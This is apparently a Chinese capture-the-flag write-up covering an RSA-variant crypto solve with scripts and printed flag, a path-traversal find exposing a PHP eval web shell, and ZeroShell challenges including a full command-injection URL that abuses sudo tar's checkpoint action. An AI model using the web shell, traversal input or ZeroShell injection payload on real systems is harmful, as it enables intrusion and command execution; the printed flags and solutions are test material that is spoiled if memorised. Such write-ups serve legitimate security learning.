Rasnd
访问地址获得输出
下载附件之后查看加密代码,发现为rsa加密变种,分析后编写解密解密脚本
编写解密代码
from Crypto.Util.number import *
from z3 import *
import numpy
n=20426218351751898189777932882611177127616224990626963758066958347561001938038678702164923523582322891205674706123201232006352411008822912340250742259691931597412120914059907633773985496677546759135390157361622425169949154572234002383727219102752864742626379831347879928358638620210523842652339131625542893868983130047345876413649359224524589355195609690705330997652551885899745156214355689017419764168545689876269342513011844747852992919272225427210838264237408849518435574353906957974405929776158952665011610097120568447809525742777662698597299762352491218981884108564234709999733602097098466052990406409379388353851
c=19589856578541623138978314475805030738644839527175798690660370543997702069650145596446594045264480941270420538842801519294394848935408789258121923184545892391611374774696288652433960525724497155978631096873271253940089503944542368564706451895643988163370168476417558425963237008211135609653259006938532468405188029215918429520038955532539163407189540335651499552071260085350502567263597378882715236022320204680916399924798273838112344327862722802723066628142615842655261525010373117552339428166894546879091747908342674814155897779653665422848621636380843404742171676522054677407900775541553201803947047715126502421203
h1=929233001920505807522223449647280668599498997246744397448899445549598376799929963185495227841756952510306236795661019783848998618334590291132238476381787141343142794968357153194316154192149038771447376078474264631043681955313171703594276070749294205507220214754886988584634562305274845681429082473665877239184619447804626873677958608973726498
h2=6127170910036388541035112966162010399417429141563879702025641013091351789413787681182050741917612810005613286699644621347344671654417039736345226398802665401735765268118400235977637289010532232173341861234882613769868459176208906841155384056437365002704560280610396422698421220953309017465802088748808621024182649537187902150286647390762165605969557137239200368183268374364576570003039991742956036680013311933397701957177738249932167139466816133269224475565013780
h1=h1+0x114
h2=h2+0x514
for i in range(1,2**11):
for j in range(1,2**11):
kq=numpy.gcd(h1*i-h2*j,n)
if kq!=1:
q=kq
p=n//q
e=0x10001
phi=(p-1)*(q-1)
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,n)))
# 第二部分
p = Int('p')
q = Int('q')
n = Int('n')
n=21082491391129196283955874666450966711803598840375282451096235900986960578086975524245566657701082757930350001588256996282473374921014519243196966808759057092436857990749907062219023097382076789019325525421994425298261109180248360399528912199708511717601012006165270444342170513568769673859456340453894407952232140912162856466904951334865521544216915391403691425610593478106288375380273953579867949220502203868364036383113857446091256785825233789461712147292636532212698173393825502456416399669378157724421765773181351337807177560726181043774664967450635383865641414347074165504269795492410398891971213762202271437361
c=14609590092149300934476690715261962354181726778164704655834431393340435414456989038609012653015605927085622673273075679755811798791984082798489112225593118793680409347485050494746500719253203700152510770814977528262613915132808447969478472771644353919626166128822642572291362881397411252257221173898060767223845434487383948263653164003850967375345561699052461569332437238704765835279891611396126501068724341407197291104295634108358959263988064891566615414786618928240332857270554894292417549215372725702160867396744928637128774741649850261063381016045209193152046972739748206625757276458187524769388911889530541102018
h=19888261826957066006203518364057436798459994518785915873244123780621028987689682550371894477501954797719785352501812522536976810039769022460740731881766042440553837974752103370158101634738841204826795855561943404305365035725358374028594957730747793845680612403933133038725653657466607958100336240896247175029900017986145900208545313302756045273754310217028123333102793362431501060463766576501870237876916266238894639149496239131762430956266473189671972293948523596905936683506927094625529160226123887961344879301935587157915997873150156409425175110892216213828067386155362631128004343447555255755207400382071090187074
a=inverse(h,n)
constraints = [
p > 1,
q > 1,
n == p * q,
a == (514 * p - 114 * q)
]
solver = Solver()
solver.add(constraints)
if solver.check() == sat:
model = solver.model()
p_val = model[p]
q_val = model[q]
print(f"p: {p_val}")
print(f"q: {q_val}")
else:
print("无解")
p=144507931086824182378938221818953876624245111350485457191043358209769732506296940162632444974203095079564289727091343020676629530222113249908996442393335405029506982074172710680990135032272095190343666113090803488569047236766943469821214807105833402650569550282847344267681866757363021102174811624517615546017
q=145891586936237281898744283977922365405429031443536213999601141741343756912123055954569666465011742855205164855065311623123793662514088032960488040892167361382643704430927235851772599898610868458751519803366726830002184098425268987974590597992564111981073257726171618753683329159470375656810597132315640236433
phi=(p-1)*(q-1)
e=0x10001
d=inverse(e,phi)
print(long_to_bytes(pow(c,d,n)))
flag{96d7d1c4-e141-4df2-966a-c522f8d81a95}
hello_web
访问files=..././hackme.php
反混淆后
<?php
//加密方式:php源码混淆类加密。免费版地址:http://www.zhaoyuanma.com/phpjm.html 免费版不能解密,可以使用VIP版本。
//此程序由【找源码】http://Www.ZhaoYuanMa.Com (免费版)在线逆向还原,QQ:7530782
?>
<?php @eval($_POST['cmd_66.99']); ?>
这里使用一剑连接
由于tips告诉我们disable,所以这里使用插件提权
获得flag
Safe_Proxy
先传递payload
再次访问主页面
zeroshell_1
找到对印的流量包发现类似flag
Base64解码
zeroshell_2
使用上面payload尝试取falg成功
zeroshell_3
Payload
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='netstat%20-ano%20'%0A'
WinFT_1
显示发现3836pid异常
评论0
暂时没有评论